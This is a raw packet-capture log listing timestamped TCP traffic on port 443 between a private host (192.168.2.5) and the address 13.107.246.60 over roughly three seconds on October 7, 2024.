Oct 7, 2024 13:26:38.056870937 CEST	443	49740	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:38.056889057 CEST	49740	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:38.056895971 CEST	443	49740	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:38.060245991 CEST	49743	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:38.060293913 CEST	443	49743	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:38.060393095 CEST	49743	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:38.060564041 CEST	49743	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:38.060580969 CEST	443	49743	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:38.094296932 CEST	443	49739	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:38.094372988 CEST	443	49739	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:38.094441891 CEST	49739	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:38.094717979 CEST	49739	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:38.094743013 CEST	443	49739	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:38.094757080 CEST	49739	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:38.094763994 CEST	443	49739	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:38.098503113 CEST	49744	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:38.098535061 CEST	443	49744	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:38.098660946 CEST	49744	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:38.098850965 CEST	49744	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:38.098864079 CEST	443	49744	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:38.556320906 CEST	443	49741	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:38.557259083 CEST	49741	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:38.557281971 CEST	443	49741	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:38.557718992 CEST	49741	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:38.557723999 CEST	443	49741	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:38.568324089 CEST	443	49722	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:38.568727016 CEST	49722	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:38.568751097 CEST	443	49722	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:38.569252968 CEST	49722	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:38.569257021 CEST	443	49722	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:38.624624968 CEST	443	49742	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:38.625130892 CEST	49742	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:38.625144958 CEST	443	49742	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:38.625461102 CEST	49742	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:38.625464916 CEST	443	49742	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:38.658864975 CEST	443	49741	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:38.658924103 CEST	443	49741	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:38.659080982 CEST	49741	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:38.659125090 CEST	49741	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:38.659137964 CEST	443	49741	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:38.659148932 CEST	49741	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:38.659153938 CEST	443	49741	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:38.662053108 CEST	49745	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:38.662079096 CEST	443	49745	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:38.662146091 CEST	49745	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:38.662424088 CEST	49745	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:38.662439108 CEST	443	49745	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:38.673588037 CEST	443	49722	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:38.673737049 CEST	443	49722	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:38.673804998 CEST	49722	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:38.673969030 CEST	49722	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:38.673988104 CEST	443	49722	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:38.674000025 CEST	49722	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:38.674005032 CEST	443	49722	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:38.676407099 CEST	49746	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:38.676445007 CEST	443	49746	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:38.676533937 CEST	49746	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:38.676656961 CEST	49746	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:38.676671028 CEST	443	49746	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:38.696433067 CEST	443	49743	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:38.696917057 CEST	49743	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:38.696959019 CEST	443	49743	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:38.697365999 CEST	49743	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:38.697372913 CEST	443	49743	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:38.727929115 CEST	443	49742	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:38.728085995 CEST	443	49742	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:38.728164911 CEST	49742	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:38.728353024 CEST	49742	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:38.728377104 CEST	443	49742	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:38.728393078 CEST	49742	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:38.728399992 CEST	443	49742	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:38.731606007 CEST	49747	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:38.731654882 CEST	443	49747	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:38.731729984 CEST	49747	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:38.757246971 CEST	49747	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:38.757272005 CEST	443	49747	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:38.796565056 CEST	443	49743	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:38.796622038 CEST	443	49743	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:38.796729088 CEST	49743	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:38.796993971 CEST	49743	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:38.797013998 CEST	443	49743	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:38.797029972 CEST	49743	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:38.797034979 CEST	443	49743	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:38.800291061 CEST	49748	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:38.800335884 CEST	443	49748	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:38.800427914 CEST	49748	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:38.800591946 CEST	49748	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:38.800626040 CEST	443	49748	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:38.924397945 CEST	443	49744	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:38.925232887 CEST	49744	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:38.925266027 CEST	443	49744	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:38.925750017 CEST	49744	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:38.925759077 CEST	443	49744	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:39.025206089 CEST	443	49744	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:39.025276899 CEST	443	49744	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:39.025327921 CEST	49744	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:39.025569916 CEST	49744	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:39.025590897 CEST	443	49744	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:39.025603056 CEST	49744	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:39.025609970 CEST	443	49744	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:39.029922962 CEST	49749	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:39.029974937 CEST	443	49749	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:39.030042887 CEST	49749	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:39.030256987 CEST	49749	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:39.030272007 CEST	443	49749	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:39.309900999 CEST	443	49745	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:39.312490940 CEST	49745	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:39.312519073 CEST	443	49745	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:39.312975883 CEST	49745	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:39.312980890 CEST	443	49745	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:39.314047098 CEST	443	49746	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:39.316015959 CEST	49746	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:39.316021919 CEST	443	49746	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:39.316410065 CEST	49746	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:39.316414118 CEST	443	49746	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:39.401562929 CEST	443	49747	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:39.402353048 CEST	49747	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:39.402379036 CEST	443	49747	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:39.402839899 CEST	49747	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:39.402848005 CEST	443	49747	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:39.413387060 CEST	443	49746	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:39.413465977 CEST	443	49746	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:39.413681030 CEST	443	49745	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:39.413775921 CEST	443	49745	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:39.413836002 CEST	49746	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:39.413836002 CEST	49746	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:39.413836002 CEST	49746	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:39.413885117 CEST	49745	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:39.414061069 CEST	49745	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:39.414083004 CEST	443	49745	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:39.414117098 CEST	49745	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:39.414124012 CEST	443	49745	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:39.417372942 CEST	49751	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:39.417373896 CEST	49750	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:39.417427063 CEST	443	49750	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:39.417426109 CEST	443	49751	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:39.417530060 CEST	49751	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:39.417531967 CEST	49750	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:39.417751074 CEST	49750	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:39.417763948 CEST	443	49750	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:39.417886019 CEST	49751	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:39.417901039 CEST	443	49751	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:39.448821068 CEST	443	49748	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:39.449657917 CEST	49748	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:39.449673891 CEST	443	49748	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:39.450242043 CEST	49748	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:39.450247049 CEST	443	49748	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:39.500880003 CEST	443	49747	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:39.500951052 CEST	443	49747	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:39.501039982 CEST	49747	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:39.501334906 CEST	49747	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:39.501357079 CEST	443	49747	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:39.501373053 CEST	49747	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:39.501379013 CEST	443	49747	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:39.504800081 CEST	49752	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:39.504847050 CEST	443	49752	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:39.504926920 CEST	49752	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:39.505110979 CEST	49752	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:39.505121946 CEST	443	49752	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:39.551511049 CEST	443	49748	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:39.551567078 CEST	443	49748	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:39.551862001 CEST	49748	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:39.551904917 CEST	49748	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:39.551923990 CEST	443	49748	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:39.551945925 CEST	49748	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:39.551953077 CEST	443	49748	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:39.555232048 CEST	49753	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:39.555273056 CEST	443	49753	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:39.555366993 CEST	49753	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:39.555563927 CEST	49753	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:39.555576086 CEST	443	49753	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:39.677778959 CEST	443	49749	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:39.678523064 CEST	49749	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:39.678555965 CEST	443	49749	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:39.679054976 CEST	49749	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:39.679063082 CEST	443	49749	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:39.714457989 CEST	49746	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:39.714482069 CEST	443	49746	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:39.790230989 CEST	443	49749	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:39.790344954 CEST	443	49749	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:39.790498972 CEST	49749	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:39.790802956 CEST	49749	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:39.790827990 CEST	443	49749	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:39.790838957 CEST	49749	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:39.790847063 CEST	443	49749	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:39.794370890 CEST	49754	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:39.794435978 CEST	443	49754	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:39.794562101 CEST	49754	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:39.794706106 CEST	49754	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:39.794719934 CEST	443	49754	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:40.065738916 CEST	443	49751	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:40.066728115 CEST	49751	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:40.066757917 CEST	443	49751	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:40.067243099 CEST	49751	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:40.067250013 CEST	443	49751	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:40.079720974 CEST	443	49750	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:40.080229044 CEST	49750	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:40.080255032 CEST	443	49750	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:40.080578089 CEST	49750	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:40.080584049 CEST	443	49750	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:40.163984060 CEST	443	49752	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:40.166076899 CEST	49752	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:40.166086912 CEST	443	49752	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:40.166611910 CEST	49752	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:40.166616917 CEST	443	49752	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:40.166731119 CEST	443	49751	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:40.166809082 CEST	443	49751	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:40.166882038 CEST	49751	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:40.167036057 CEST	49751	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:40.167057991 CEST	443	49751	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:40.167071104 CEST	49751	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:40.167077065 CEST	443	49751	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:40.170391083 CEST	49755	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:40.170428038 CEST	443	49755	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:40.170541048 CEST	49755	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:40.170715094 CEST	49755	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:40.170730114 CEST	443	49755	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:40.185025930 CEST	443	49750	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:40.185102940 CEST	443	49750	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:40.185182095 CEST	49750	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:40.185451031 CEST	49750	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:40.185468912 CEST	443	49750	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:40.185477018 CEST	49750	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:40.185482025 CEST	443	49750	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:40.188558102 CEST	49756	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:40.188592911 CEST	443	49756	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:40.188689947 CEST	49756	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:40.188827991 CEST	49756	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:40.188836098 CEST	443	49756	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:40.194544077 CEST	443	49753	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:40.196387053 CEST	49753	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:40.196417093 CEST	443	49753	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:40.196891069 CEST	49753	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:40.196897030 CEST	443	49753	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:40.264350891 CEST	443	49752	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:40.264432907 CEST	443	49752	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:40.264513016 CEST	49752	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:40.264818907 CEST	49752	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:40.264827013 CEST	443	49752	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:40.264862061 CEST	49752	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:40.264867067 CEST	443	49752	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:40.268465996 CEST	49757	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:40.268522978 CEST	443	49757	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:40.268613100 CEST	49757	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:40.268806934 CEST	49757	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:40.268821001 CEST	443	49757	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:40.301934958 CEST	443	49753	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:40.302001953 CEST	443	49753	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:40.302097082 CEST	49753	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:40.302402973 CEST	49753	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:40.302426100 CEST	443	49753	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:40.302438974 CEST	49753	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:40.302444935 CEST	443	49753	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:40.306044102 CEST	49758	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:40.306070089 CEST	443	49758	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:40.306184053 CEST	49758	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:40.306379080 CEST	49758	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:40.306391954 CEST	443	49758	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:40.473594904 CEST	443	49754	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:40.474277973 CEST	49754	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:40.474314928 CEST	443	49754	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:40.474819899 CEST	49754	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:40.474826097 CEST	443	49754	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:40.586107969 CEST	443	49754	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:40.586183071 CEST	443	49754	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:40.586314917 CEST	49754	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:40.586632967 CEST	49754	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:40.586647987 CEST	443	49754	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:40.586661100 CEST	49754	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:40.586667061 CEST	443	49754	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:40.590102911 CEST	49759	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:40.590145111 CEST	443	49759	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:40.590214014 CEST	49759	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:40.590403080 CEST	49759	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:40.590411901 CEST	443	49759	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:40.802808046 CEST	443	49755	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:40.808393002 CEST	49755	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:40.808430910 CEST	443	49755	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:40.809989929 CEST	49755	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:40.809998989 CEST	443	49755	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:40.828104019 CEST	443	49756	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:40.828727961 CEST	49756	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:40.828738928 CEST	443	49756	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:40.829261065 CEST	49756	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:40.829266071 CEST	443	49756	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:40.904480934 CEST	443	49755	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:40.904565096 CEST	443	49755	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:40.904650927 CEST	49755	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:40.904942036 CEST	49755	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:40.904964924 CEST	443	49755	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:40.904975891 CEST	49755	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:40.904982090 CEST	443	49755	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:40.908623934 CEST	49760	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:40.908662081 CEST	443	49760	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:40.908767939 CEST	49760	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:40.908998966 CEST	49760	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:40.909012079 CEST	443	49760	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:40.926856041 CEST	443	49756	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:40.927009106 CEST	443	49756	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:40.927191973 CEST	49756	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:40.927247047 CEST	49756	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:40.927268982 CEST	443	49756	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:40.927303076 CEST	49756	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:40.927309036 CEST	443	49756	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:40.930634022 CEST	49761	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:40.930663109 CEST	443	49761	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:40.930738926 CEST	49761	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:40.931104898 CEST	49761	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:40.931116104 CEST	443	49761	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:40.943034887 CEST	443	49757	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:40.943607092 CEST	49757	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:40.943627119 CEST	443	49757	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:40.944125891 CEST	49757	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:40.944132090 CEST	443	49757	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:40.948426962 CEST	443	49758	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:40.948935032 CEST	49758	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:40.948945045 CEST	443	49758	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:40.949346066 CEST	49758	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:40.949353933 CEST	443	49758	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:41.051332951 CEST	443	49758	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:41.051423073 CEST	443	49758	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:41.051491976 CEST	49758	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:41.051773071 CEST	49758	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:41.051791906 CEST	443	49758	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:41.051805019 CEST	49758	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:41.051810980 CEST	443	49758	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:41.055300951 CEST	49762	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:41.055330992 CEST	443	49762	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:41.055428982 CEST	49762	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:41.055660009 CEST	49762	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:41.055675030 CEST	443	49762	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:41.087975025 CEST	443	49757	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:41.088159084 CEST	443	49757	13.107.246.60	192.168.2.5
